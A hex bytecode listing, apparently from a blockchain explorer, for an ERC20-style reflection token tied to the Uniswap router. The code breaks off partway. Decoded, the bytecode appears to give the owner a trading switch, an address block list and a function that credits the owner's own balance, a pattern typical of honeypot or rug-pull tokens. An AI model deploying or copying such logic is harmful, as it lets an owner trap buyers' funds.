565b005b6102b460048036038101906102af9190611d8e565b610901565b6040516102c1919061239b565b60405180910390f35b6102d261098a565b6040516102df91906121e3565b60405180910390f35b6102f06109b0565b005b6102fa610a5a565b60405161030791906121e3565b60405180910390f35b61032a60048036038101906103259190611c75565b610a80565b604051610337919061239b565b60405180910390f35b61035a60048036038101906103559190611c75565b610ac9565b60405161036791906121fe565b60405180910390f35b610378610b1f565b6040516103859190612219565b60405180910390f35b6103a860048036038101906103a39190611d29565b610bb1565b6040516103b591906121fe565b60405180910390f35b6103d860048036038101906103d39190611d29565b610c7e565b6040516103e591906121fe565b60405180910390f35b61040860048036038101906104039190611c75565b610c9c565b005b610424600480360381019061041f9190611c9e565b610d8c565b604051610431919061239b565b60405180910390f35b6060600780546104499061258a565b80601f01602080910402602001604051908101604052809291908181526020018280546104759061258a565b80156104c25780601f10610497576101008083540402835291602001916104c2565b820191906000526020600020905b8154815290600101906020018083116104a557829003601f168201915b5050505050905090565b60006104e06104d9610ea7565b8484610eaf565b6001905092915050565b6000686c6b935b8bbd400000905090565b6000600b60009054906101000a900460ff16905090565b61051a610ea7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161059e906122fb565b60405180910390fd5b60011515600b60009054906101000a900460ff16151514156105e3576000600b60006101000a81548160ff0219169083151502179055506105ff565b6001600b60006101000a81548160ff0219169083151502179055505b565b600061060e84848461107a565b6106cf8461061a610ea7565b6106ca8560405180606001604052806028815260200161270f60289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610680610ea7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461153a9092919063ffffffff16565b610eaf565b600190509392505050565b6000601054821115610721576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107189061225b565b60405180910390fd5b600061072b61159e565b90506107408184610e1390919063ffffffff16565b915050919050565b6000600960009054906101000a900460ff16905090565b600061080861076c610ea7565b84610803856003600061077d610ea7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115c990919063ffffffff16565b610eaf565b6001905092915050565b61081a610ea7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161089e906122fb565b60405180910390fd5b60018060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000686c6b935b8bbd40000083111561094f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610946906122bb565b60405180910390fd5b8161096e57600061095f84611627565b50505050905080915050610984565b600061097984611627565b505050915050809150505b92915050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6109b8610ea7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a45576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3c906122fb565b60405180910390fd5b610a58610a50610ea7565b600f5461167f565b565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b606060088054610b2e9061258a565b80601f0160208091040260200160405190810160405280929190818152602001828054610b5a9061258a565b8015610ba75780601f10610b7c57610100808354040283529160200191610ba7565b820191906000526020600020905b815481529060010190602001808311610b8a57829003601f168201915b5050505050905090565b6000610c74610bbe610ea7565b84610c6f856040518060600160405280602581526020016127376025913960036000610be8610ea7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461153a9092919063ffffffff16565b610eaf565b6001905092915050565b6000610c92610c8b610ea7565b848461107a565b6001905092915050565b610ca4610ea7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d31576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d28906122fb565b60405180910390fd5b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000610e5583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611718565b905092915050565b6000610e9f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061153a565b905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f1f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f169061237b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610f8f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f869061227b565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161106d919061239b565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156110ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110e19061233b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561115a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111519061223b565b60405180910390fd5b6000811161119d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111949061231b565b60405180910390fd5b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061123e5750600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561129a5760001515600b60009054906101000a900460ff16151514611299576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112909061235b565b60405180910390fd5b5b60011515600b60009054906101000a900460ff16151514806112ee57506112bf61177b565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b8061132b57506112fc61177b565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b156114de5761139c816040518060600160405280602681526020016126e960269139600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461153a9092919063ffffffff16565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061143181600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115c990919063ffffffff16565b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516114d1919061239b565b60405180910390a3611535565b60011515600b60009054906101000a900460ff16151514611534576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152b9061235b565b60405180910390fd5b5b505050565b6000838311158290611582576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115799190612219565b60405180910390fd5b506000838561159191906124ce565b9050809150509392505050565b60008060006115ab6117a4565b915091506115c28183610e1390919063ffffffff16565b9250505090565b60008082846115d891906123ed565b90508381101561161d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116149061229b565b60405180910390fd5b8091505092915050565b600080600080600080600061163b88611b0b565b91509150600061164961159e565b9050600080600061165b8c8686611b5d565b92509250925082828288889a509a509a509a509a5050505050505091939590929450565b6116d181600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115c990919063ffffffff16565b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b6000808311829061175f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117569190612219565b60405180910390fd5b506000838561176e9190612443565b9050809150509392505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600080600060105490506000686c6b935b8bbd400000905060005b600280549050811015611ac05782600460006002848154811061180b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054118061191f57508160066000600284815481106118b7577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b1561193d57601054686c6b935b8bbd40000094509450505050611b07565b6119f3600460006002848154811061197e577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205484610e5d90919063ffffffff16565b9250611aab6006600060028481548110611a36577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610e5d90919063ffffffff16565b91508080611ab8906125bc565b9150506117bf565b50611adf686c6b935b8bbd400000601054610e1390919063ffffffff16565b821015611afe57601054686c6b935b8bbd400000935093505050611b07565b81819350935050505b9091565b6000806000611b376002611b29606487610e1390919063ffffffff16565b611bbb90919063ffffffff16565b90506000611b4e8286610e5d90919063ffffffff16565b90508082935093505050915091565b600080600080611b768588611bbb90919063ffffffff16565b90506000611b8d8688611bbb90919063ffffffff16565b90506000611ba48284610e5d90919063ffffffff16565b905082818395509550955050505093509350939050565b600080831415611bce5760009050611c30565b60008284611bdc9190612474565b9050828482611beb9190612443565b14611c2b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c22906122db565b60405180910390fd5b809150505b92915050565b600081359050611c45816126a3565b92915050565b600081359050611c5a816126ba565b92915050565b600081359050611c6f816126d1565b92915050565b600060208284031215611c8757600080fd5b6000611c9584828501611c36565b91505092915050565b60008060408385031215611cb157600080fd5b6000611cbf85828601611c36565b9250506020611cd085828601611c36565b9150509250929050565b600080600060608486031215611cef57600080fd5b6000611cfd86828701611c36565b9350506020611d0e86828701611c36565b9250506040611d1f86828701611c60565b9150509250925092565b60008060408385031215611d3c57600080fd5b6000611d4a85828601611c36565b9250506020611d5b85828601611c60565b9150509250929050565b600060208284031215611d7757600080fd5b6000611d8584828501611c60565b91505092915050565b60008060408385031215611da157600080fd5b6000611daf85828601611c60565b9250506020611dc085828601611c4b565b9150509250929050565b611dd381612502565b82525050565b611de281612514565b82525050565b6000611df3826123d1565b611dfd81856123dc565b9350611e0d818560208601612557565b611e1681612692565b840191505092915050565b6000611e2e6023836123dc565b91507f45524332303a207472616e7366657220746f20746865207a65726f206164647260008301527f65737300000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611e94602a836123dc565b91507f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008301527f65666c656374696f6e73000000000000000000000000000000000000000000006020830152604082019050919050565b6000611efa6022836123dc565b91507f45524332303a20617070726f766520746f20746865207a65726f20616464726560008301527f73730000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611f60601b836123dc565b91507f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006000830152602082019050919050565b6000611fa0601f836123dc565b91507f416d6f756e74206d757374206265206c657373207468616e20737570706c79006000830152602082019050919050565b6000611fe06021836123dc565b91507f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008301527f77000000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006120466020836123dc565b91507f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726000830152602082019050919050565b60006120866029836123dc565b91507f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008301527f7468616e207a65726f00000000000000000000000000000000000000000000006020830152604082019050919050565b60006120ec6025836123dc565b91507f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008301527f64726573730000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006121526000836123dc565b9150600082019050919050565b600061216c6024836123dc565b91507f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008301527f72657373000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6121ce81612540565b82525050565b6121dd8161254a565b82525050565b60006020820190506121f86000830184611dca565b92915050565b60006020820190506122136000830184611dd9565b92915050565b600060208201905081810360008301526122338184611de8565b905092915050565b6000602082019050818103600083015261225481611e21565b9050919050565b6000602082019050818103600083015261227481611e87565b9050919050565b6000602082019050818103600083015261229481611eed565b9050919050565b600060208201905081810360008301526122b481611f53565b9050919050565b600060208201905081810360008301526122d481611f93565b9050919050565b600060208201905081810360008301526122f481611fd3565b9050919050565b6000602082019050818103600083015261231481612039565b9050919050565b6000602082019050818103600083015261233481612079565b9050919050565b60006020820190508181036000830152612354816120df565b9050919050565b6000602082019050818103600083015261237481612145565b9050919050565b600060208201905081810360008301526123948161215f565b9050919050565b60006020820190506123b060008301846121c5565b92915050565b60006020820190506123cb60008301846121d4565b92915050565b600081519050919050565b600082825260208201905092915050565b60006123f882612540565b915061240383612540565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561243857612437612605565b5b828201905092915050565b600061244e82612540565b915061245983612540565b92508261246957612468612634565b5b828204905092915050565b600061247f82612540565b915061248a83612540565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156124c3576124c2612605565b5b828202905092915050565b60006124d982612540565b91506124e483612540565b9250828210156124f7576124f6612605565b5b828203905092915050565b600061250d82612520565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b8381101561257557808201518184015260208101905061255a565b83811115612584576000848401525b50505050565b600060028204905060018216806125a257607f821691505b602082108114156125b6576125b5612663565b5b50919050565b60006125c782612540565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156125fa576125f9612605565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b6126ac81612502565b81146126b757600080fd5b50565b6126c381612514565b81146126ce57600080fd5b50565b6126da81612540565b81146126e557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122048110ec21f0339fa4f3ac1f30ad15ddc13aea8f9b267da0edd71e3620ae8d40c64736f6c634300080000330000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d0000000000000000000000005c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106101375760003560e01c80634549b039116100b857806385ecafd71161007c57806385ecafd71461034057806395d89b4114610370578063a457c2d71461038e578063a9059cbb146103be578063cf0848f7146103ee578063dd62ed3e1461040a57610137565b80634549b0391461029a578063502f7446146102ca57806354c5f3c5146102e857806368e0d4e1146102f257806370a082311461031057610137565b806323b872dd116100ff57806323b872dd146101d05780632d83811914610200578063313ce56714610230578063395093511461024e578063437823ec1461027e57610137565b806306fdde031461013c578063095ea7b31461015a57806318160ddd1461018a5780631a1ad4ba146101a8578063225be105146101c6575b600080fd5b61014461043a565b6040516101519190612219565b60405180910390f35b610174600480360381019061016f9190611d29565b6104cc565b60405161018191906121fe565b60405180910390f35b6101926104ea565b60405161019f919061239b565b60405180910390f35b6101b06104fb565b6040516101bd91906121fe565b60405180910390f35b6101ce610512565b005b6101ea60048036038101906101e59190611cda565b610601565b6040516101f791906121fe565b60405180910390f35b61021a60048036038101906102159190611d65565b6106da565b604051610227919061239b565b60405180910390f35b610238610748565b60405161024591906123b6565b60405180910390f35b61026860048036038101906102639190611d29565b61075f565b60405161027591906121fe565b60405180910390f35b61029860048036038101906102939190611c75565b610812565b005b6102b460048036038101906102af9190611d8e565b610901565b6040516102c1919061239b565b60405180910390f35b6102d261098a565b6040516102df91906121e3565b60405180910390f35b6102f06109b0565b005b6102fa610a5a565b60405161030791906121e3565b60405180910390f35b61032a60048036038101906103259190611c75565b610a80565b604051610337919061239b565b60405180910390f35b61035a60048036038101906103559190611c75565b610ac9565b60405161036791906121fe565b60405180910390f35b610378610b1f565b6040516103859190612219565b60405180910390f35b6103a860048036038101906103a39190611d29565b610bb1565b6040516103b591906121fe565b60405180910390f35b6103d860048036038101906103d39190611d29565b610c7e565b6040516103e591906121fe565b60405180910390f35b61040860048036038101906104039190611c75565b610c9c565b005b610424600480360381019061041f9190611c9e565b610d8c565b604051610431919061239b565b60405180910390f35b6060600780546104499061258a565b80601f01602080910402602001604051908101604052809291908181526020018280546104759061258a565b80156104c25780601f10610497576101008083540402835291602001916104c2565b820191906000526020600020905b8154815290600101906020018083116104a557829003601f168201915b5050505050905090565b60006104e06104d9610ea7565b8484610eaf565b6001905092915050565b6000686c6b935b8bbd400000905090565b6000600b60009054906101000a900460ff16905090565b61051a610ea7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161059e906122fb565b60405180910390fd5b60011515600b60009054906101000a900460ff16151514156105e3576000600b60006101000a81548160ff0219169083151502179055506105ff565b6001600b60006101000a81548160ff0219169083151502179055505b565b600061060e84848461107a565b6106cf8461061a610ea7565b6106ca8560405180606001604052806028815260200161270f60289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610680610ea7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461153a9092919063ffffffff16565b610eaf565b600190509392505050565b6000601054821115610721576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107189061225b565b60405180910390fd5b600061072b61159e565b90506107408184610e1390919063ffffffff16565b915050919050565b6000600960009054906101000a900460ff16905090565b600061080861076c610ea7565b84610803856003600061077d610ea7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115c990919063ffffffff16565b610eaf565b6001905092915050565b61081a610ea7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161089e906122fb565b60405180910390fd5b60018060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000686c6b935b8bbd40000083111561094f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610946906122bb565b60405180910390fd5b8161096e57600061095f84611627565b50505050905080915050610984565b600061097984611627565b505050915050809150505b92915050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6109b8610ea7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a45576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3c906122fb565b60405180910390fd5b610a58610a50610ea7565b600f5461167f565b565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b606060088054610b2e9061258a565b80601f0160208091040260200160405190810160405280929190818152602001828054610b5a9061258a565b8015610ba75780601f10610b7c57610100808354040283529160200191610ba7565b820191906000526020600020905b815481529060010190602001808311610b8a57829003601f168201915b5050505050905090565b6000610c74610bbe610ea7565b84610c6f856040518060600160405280602581526020016127376025913960036000610be8610ea7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461153a9092919063ffffffff16565b610eaf565b6001905092915050565b6000610c92610c8b610ea7565b848461107a565b6001905092915050565b610ca4610ea7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d31576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d28906122fb565b60405180910390fd5b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000610e5583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611718565b905092915050565b6000610e9f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061153a565b905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f1f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f169061237b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610f8f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f869061227b565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161106d919061239b565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156110ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110e19061233b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561115a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111519061223b565b60405180910390fd5b6000811161119d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111949061231b565b60405180910390fd5b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061123e5750600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561129a5760001515600b60009054906101000a900460ff16151514611299576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112909061235b565b60405180910390fd5b5b60011515600b60009054906101000a900460ff16151514806112ee57506112bf61177b565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b8061132b57506112fc61177b565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b156114de5761139c816040518060600160405280602681526020016126e960269139600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461153a9092919063ffffffff16565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061143181600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115c990919063ffffffff16565b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516114d1919061239b565b60405180910390a3611535565b60011515600b60009054906101000a900460ff16151514611534576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152b9061235b565b60405180910390fd5b5b505050565b6000838311158290611582576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115799190612219565b60405180910390fd5b506000838561159191906124ce565b9050809150509392505050565b60008060006115ab6117a4565b915091506115c28183610e1390919063ffffffff16565b9250505090565b60008082846115d891906123ed565b90508381101561161d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116149061229b565b60405180910390fd5b8091505092915050565b600080600080600080600061163b88611b0b565b91509150600061164961159e565b9050600080600061165b8c8686611b5d565b92509250925082828288889a509a509a509a509a5050505050505091939590929450565b6116d181600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115c990919063ffffffff16565b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b6000808311829061175f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117569190612219565b60405180910390fd5b506000838561176e9190612443565b9050809150509392505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600080600060105490506000686c6b935b8bbd400000905060005b600280549050811015611ac05782600460006002848154811061180b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054118061191f57508160066000600284815481106118b7577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b1561193d57601054686c6b935b8bbd40000094509450505050611b07565b6119f3600460006002848154811061197e577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205484610e5d90919063ffffffff16565b9250611aab6006600060028481548110611a36577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610e5d90919063ffffffff16565b91508080611ab8906125bc565b9150506117bf565b50611adf686c6b935b8bbd400000601054610e1390919063ffffffff16565b821015611afe57601054686c6b935b8bbd400000935093505050611b07565b81819350935050505b9091565b6000806000611b376002611b29606487610e1390919063ffffffff16565b611bbb90919063ffffffff16565b90506000611b4e8286610e5d90919063ffffffff16565b90508082935093505050915091565b600080600080611b768588611bbb90919063ffffffff16565b90506000611b8d8688611bbb90919063ffffffff16565b90506000611ba48284610e5d90919063ffffffff16565b905082818395509550955050505093509350939050565b600080831415611bce5760009050611c30565b60008284611bdc9190612474565b9050828482611beb9190612443565b14611c2b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c22906122db565b60405180910390fd5b809150505b92915050565b600081359050611c45816126a3565b92915050565b600081359050611c5a816126ba565b92915050565b600081359050611c6f816126d1565b92915050565b600060208284031215611c8757600080fd5b6000611c9584828501611c36565b91505092915050565b60008060408385031215611cb157600080fd5b6